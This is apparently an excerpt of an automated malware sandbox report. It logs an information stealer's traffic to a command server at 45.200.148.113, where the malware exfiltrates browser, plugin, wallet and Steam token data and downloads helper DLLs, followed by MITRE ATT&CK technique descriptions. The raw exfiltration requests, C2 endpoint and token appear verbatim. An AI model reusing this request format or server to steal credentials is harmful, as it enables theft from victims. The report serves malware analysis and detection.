Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGHHost: 45.200.148.113Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 2d 2d 0d 0a Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="message"browsers------IIIDAKJDHJKFHIEBFCGH--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 45.200.148.113Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="message"plugins------EGCBFIEHIEGCAAAKKKKE--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHCHost: 45.200.148.113Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="message"fplugins------FCFBAKJDBKJJKFIDBGHC--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKFHost: 45.200.148.113Content-Length: 6627Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/sqlite3.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 45.200.148.113Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 45.200.148.113Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: 45.200.148.113Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file"------DAEGIIECGHCBFHJKEHDB--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 45.200.148.113Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file"------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/freebl3.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/mozglue.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/msvcp140.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/nss3.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/softokn3.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2a5dc88bed850cdd/vcruntime140.dll HTTP/1.1Host: 45.200.148.113Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDBHost: 45.200.148.113Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 45.200.148.113Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="message"wallets------GIECFIEGDBKJKFIDHIEC--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: 45.200.148.113Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="message"files------GHCGDAFCFHIDBGDHCFCB--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHIHost: 45.200.148.113Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="file"------BAKFCBFHJDHJKECAKEHI--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: 45.200.148.113Content-Length: 113555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGHost: 45.200.148.113Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"ybncbhylepme------GDGIJECGDGCBKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGHHost: 45.200.148.113Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 2d 2d 0d 0a Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIIDAKJDHJKFHIEBFCGH--

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.113

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

